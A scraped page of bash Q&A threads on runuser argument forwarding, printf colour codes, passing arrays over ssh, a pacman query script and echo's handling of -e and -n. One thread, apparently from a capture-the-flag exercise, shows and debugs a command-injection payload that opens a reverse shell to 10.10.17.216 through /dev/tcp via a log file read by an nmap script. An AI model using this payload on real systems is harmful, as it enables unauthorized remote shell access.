How to make runuser correctly forward all command line arguments, instead of trying to interpret them? - bash

I got this simple script:
#!/bin/bash
SOURCE_USER=$USER
DESTINE_USER=$1
id -u $SOURCE_USER > /dev/null 2>&1
if [ "$?" == "1" ] || [ -z $SOURCE_USER ]
then
printf "Error: Invalid source user '$SOURCE_USER'\\n"
exit 1
fi
if [ -z $DESTINE_USER ]
then
printf "Error: Invalid destine user '$DESTINE_USER'\\n"
exit 1
fi
SOURCE_GROUPS=$(id -Gn ${SOURCE_USER} | sed "s/${SOURCE_USER} //g" | sed "s/ ${SOURCE_USER}//g" | sed "s/ /,/g")
SOURCE_SHELL=$(awk -F : -v name=${SOURCE_USER} '(name == $1) { print $7 }' /etc/passwd)
id -u $DESTINE_USER > /dev/null 2>&1
if [ "$?" == "1" ]
then
printf "Creating destine user %s\\n" "$DESTINE_USER"
useradd --groups ${SOURCE_GROUPS} --shell ${SOURCE_SHELL} --create-home ${DESTINE_USER}
passwd ${DESTINE_USER}
xhost '+si:localuser:$DESTINE_USER'
sudo usermod -G "$SOURCE_USER" "$DESTINE_USER"
else
printf "Updating destine user '%s' with groups '%s' and shell '%s'\\n" "$DESTINE_USER" "$SOURCE_GROUPS" "$SOURCE_SHELL"
sudo usermod -a -G "$SOURCE_GROUPS" "$DESTINE_USER"
sudo chsh -s "$SOURCE_SHELL" "$SOURCE_USER"
fi
sudo runuser sublime_vanilla -c "${#:2}"
I run it like this:
$ bash run_as_user.sh sublime_vanilla /usr/bin/subl -n "./New Empty File"
But when I run it, I got this error:
runuser: invalid option -- 'n'
Try 'runuser --help' for more information.
But if I replace sudo runuser sublime_vanilla -c "${#:2}" with sudo runuser sublime_vanilla -c "\"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"${#:9}\""
Then, Sublime Text correctly opens the file "./New Empty File" in a new window.
How to make runuser correctly understand all argument with a variable number of command line arguments, i.e., without hard coding "\"$2\" \"$3\" \"$4\" ..."?

This is slightly different from your last question because you have to make the expansion of the arguments into a single string for the -c option.
The bash printf formatter %q is your friend here:
cmd=$( printf '%q ' "${#:2}" )
sudo runuser sublime_vanilla -c "$cmd"
On the other hand, a quick perusal through the runuser man page suggests:
sudo runuser -u sublime_vanilla "${#:2}"
Another thought: sudo runuser -u sublime_vanilla -- "${#:2}" with the double hyphens to indicate the end of the runuser options.

Related

How to assign a color to a variable within a bash function

I have following script where i want to to print the command Variable SMB into the RED colour within a bash function but that's not working.
Below is the Script:
Script:
#!/bin/bash
read -rsp $'Please Enter password below: ' SSHPASS
echo -n ""
export SSHPASS
NC='\033[0m'
RED='\033[0;31m'
remote_connect() {
target_host=$1
sshpass -e ssh -q "${target_host}" "true" -o StrictHostKeyChecking=no -o ConnectTimeout=60 2>>/dev/null
if [[ $? -eq 0 ]]
then
SMB=$(sshpass -e ssh -q -t "$target_host" "sudo smbstatus |grep ^Samba")
printf "%-35s %15s\n" "$target_host" "${RED}${SMB}${NC}"
else
printf "%-35s %15s\n" "$target_host" "Unable to get the ssh connection"
fi
} 2>/dev/null
export -f remote_connect
< host_list xargs -P5 -n1 -d'\n' bash -c 'remote_connect "$#"' --
Result:
tdi1990.colx.fox.com \033[0;31m Samba version 4.9.1 \033[0m \n
tdi1856.colx.fox.com \033[0;31m Samba version 4.9.1 \033[0m \n
tdi1993.colx.fox.com \033[0;31m Samba version 4.9.1 \033[0m \n
If i use echo like below it works, but then the lifet and right justify as i am trying with print that's not possible with echo.
echo -e "$target_host" "${RED}${SMB}${NC}"
Expected:
Second column that is Samba version 4.9.1 should be printed in Red color.
This should achieve what you expected :
NC=$'\033[0m'
RED=$'\033[0;31m'

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

bash to pass array to ssh to another server

In the below bash I am trying to pass the ${array[$i]} to ssh after changing to a specific directory, but ${array[$i]} it is not recognized? The goal is to use the id in ${array[$i]} (there may be more than 1) to further go into that directory. The bash seems to work as expected except for the ${array[$i]} not be passed.
bash
readarray -t array <<< "$(printf '%s\n' $id)"
for ((i=0; i<${#array[#]}; i++ )) ; do
echo "${array[$i]}"
done
sshpass -f file.txt ssh -o strictHostKeyChecking=no -t xxx#xxx "${array[$i]}" 'cd path/to/folder/"$array[$i]" && exec bash -l'
echo ${array[$i]}
maybe?
readarray -t array <<< "$(printf '%s\n' $id)"
for ((i=0; i<${#array[#]}; i++ )) ; do
echo "${array[$i]}"
done
for i in "${array[$i]} ; do
sshpass -f file.txt ssh -o strictHostKeyChecking=no -t xxx#xxx "${array[$i]}" 'cd path/to/folder && exec bash -l'
done
contents of array[$i] ---- array[$i] will be different in number each time but the format will always be the same ----
00-0000-xxx-xxx-xxx
00-0001-yyy-yyy-yyy
desired ssh
cd path/to/folder/00-0000-xxx-xxx-xxx && cp *.txt* /home/location
cd path/to/folder/00-0000-yyy-yyy-yyy && cp *.txt* /home/location
Here, we generate a single remote that runs (cd ... && exec cp) for each array element, with each in a subshell to prevent the cd from having side effects on subsequent elements' commands:
printf -v cmd_q '(cd /path/to/folder/%q && exec cp -- *.txt* /home/location)\n' "${array[#]}"
sshpass -f file.txt ssh -o strictHostKeyChecking=no -t xxx#xxx "$cmd_q"
The exec is a minor performance enhancement, consuming the subshell started with the parenthesis by replacing it with the cp process.
The %q placeholder in the printf format string gets substituted with the individual array values.

Bash Script ouputs Command Not Found Repeatedly

I am trying to create a bash script that will write to text files the output of some pacman queries mainly what packages are installed locally, packages that are installed as dependencies, packages that are orphans, and what packages require what dependencies. Currently, I am in the middle of solving an issue that is preventing my from writing what packages require what dependencies. I am using the following bash code:
#!/bin/bash
set -e -u
#Switch to PWD
cd /home/$USER/System/scripts/pacman-queries-output/
#Get the current date
DATE=`date +%m%d%Y`
#Pacman Queries
pacman --query -e >pacman_installed$DATE.txt
pacman --query -d >pacman_dependencies$DATE.txt
pacman -Qdt >pacman_orphans$DATE.txt
while read package_desc
do
package_name=$(echo $package_desc| cut -d' ' -f 1)
check_if_none=$(pacman -Qi $package_name | grep "Req" | sed -e 's/Required By : //g')
if $check_if_none != "Required By : None"
then
echo $package_name >>pacman_required_by$DATE.txt
pacman -Qi $package_name | grep "Req" | sed -e 's/Required By : //g' >>pacman_required_by$DATE.txt
fi
done < $PWD/pacman_installed$DATE.txt
echo 'Completed 'basename
However, the while loop doesn't seem to create and/or write to the text file I specified instead it echoes this multiple times in the terminal:
./pacman-queries.sh: line 20: Required: command not found
The following is one of the iterations of the while loop that is displayed when running bash -x pacman-queries.sh:
+ read package_desc
++ echo aesfix 1.0.1-4
++ cut '-d ' -f 1
+ package_name=aesfix
++ pacman -Qi aesfix
++ grep Req
++ sed -e 's/Required By : //g'
+ check_if_none='Required By : None'
+ Required By : None '!=' 'Required By : None'
pacman-queries.sh: line 20: Required: command not found
Could anyone suggest any solution that they might have to solve this issue? Thank you in advance.
if $check_if_none != "Required By : None"
If the check_if_none has the string:
check_if_none="Required By : None"
Then it gets expanded to:
if Required By : None != "Required By : None"
if tries to execute the command passed to it. So it will try to execute the command Required. And it does not find such command.
How to fix it:
use test [ .. ] or [[ ... ]] to do comparison in bash
always quote your variables "$varvar"
if [ "$check_if_none" != "Required By : None" ]
Also:
don't use backticks. They are less readable, can't be nested, and are deprecated.
You script after some fixing may look like this:
#!/bin/bash
set -e -u
#Switch to PWD
cd "/home/$USER/System/scripts/pacman-queries-output/"
#Get the current date
DATE=$(date +%m%d%Y)
#Pacman Queries
pacman --query -e >"pacman_installed$DATE.txt"
pacman --query -d >"pacman_dependencies$DATE.txt"
pacman -Qdt >"pacman_orphans$DATE.txt"
while IFS= read -r package_desc; do
package_name=$(echo "$package_desc" | cut -d' ' -f 1)
# renamed from check_if_none
# some newlines for readability
Required=$(
pacman -Qi "$package_name" |
grep "Req" |
sed -e 's/Required By : //g'
)
if [ "$Required" != "Required By : None" ]; then
echo "$package_name"
# runnung `pacman -Q` twice is just throwing cpu cycles...
echo "$Required"
fi
# All output goes into required_by - moved it here
# also changed `>>` into `>`
done < "$PWD/pacman_installed$DATE.txt" > "pacman_required_by$DATE.txt"
echo 'Completed 'basename

Passing -e and -n as positional parameters in Bash

I've recently been working with positional parameters in some bash scripts and I've noticed that -e and -n do not appear to be passed as positional parameters. I've been searching through documentation but haven't been able to figure out why. Consider the following short scripts:
#!/bin/bash
# test.sh
echo $#
echo $1
echo $2
echo $3
echo $4
echo $5
exit
Running the command: # ./test.sh -e -f -c -n -g outputs:
-f -c -n -g
-f
-c
-g
./test.sh -n -f -c -e -g outputs:
-f -c -e -g-f
-c
-g
Why do -e and -n not appear in "$#"? -e appears to pass as an empty parameter and -n appears to remove the following endline. Furthermore I noticed that these parameters are accounted for when echoing $#. Does anyone know why -e and -n behave differently than any other parameters.
The -e is passed like an argument to echo and then is comsumed by it.
Try this instead :
#!/bin/bash
printf '%s\n' "$1"
printf '%s\n' "$2"
printf '%s\n' "$3"
printf '%s\n' "$4"
printf '%s\n' "$5"
Output :
-e
-f
-c
-n
-g
Check help echo | less +/-e
You can use :
echo -- "$1"
too
Another solution
using bash here document
#!/bin/bash
cat<<EOF
$1
$2
$3
$4
$5
EOF

Resources